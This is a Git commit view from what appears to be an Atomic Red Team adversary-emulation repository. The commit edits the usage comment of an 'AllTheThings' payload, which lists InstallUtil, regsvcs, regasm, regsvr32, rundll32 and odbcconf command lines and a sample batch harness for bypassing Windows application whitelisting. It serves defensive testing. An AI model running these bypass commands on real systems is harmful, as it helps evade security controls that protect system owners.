security-tools/atomic-red-team
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Updated All The Things

Browse Source
This commit is contained in:
caseysmithrc
2017-11-30 06:25:37 -07:00
parent 5375477446
commit e4e892da8b
1 changed files with 18 additions and 2 deletions
Download Patch File Download Diff File Expand all files Collapse all files
Windows/Payloads/AllTheThings/Program.cs
+18 -2
View File
@@ -30,7 +30,7 @@ Includes 5 Known Application Whitelisting/ Application Control Bypass Techinique
Usage:
1.
x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll
x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll
x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll
2.
x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe AllTheThings.dll
x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe AllTheThings.dll
@@ -45,10 +45,26 @@ Usage:
rundll32 AllTheThings.dll,EntryPoint
6.
odbcconf.exe /a { REGSVR AllTheThings.dll }
odbcconf.exe /s /a { REGSVR AllTheThings.dll }
7.
regsvr32.exe /s /n /i:"Some String To Do Things ;-)" AllTheThings.dll
Sample Harness.Bat
[Begin]
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe AllTheThings.dll
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U AllTheThings.dll
regsvr32 /s /u AllTheThings.dll
regsvr32 /s AllTheThings.dll
rundll32 AllTheThings.dll,EntryPoint
odbcconf.exe /a { REGSVR AllTheThings.dll }
regsvr32.exe /s /n /i:"Some String To Do Things ;-)" AllTheThings.dll
[End]
*/
[assembly: ApplicationActivation(ActivationOption.Server)]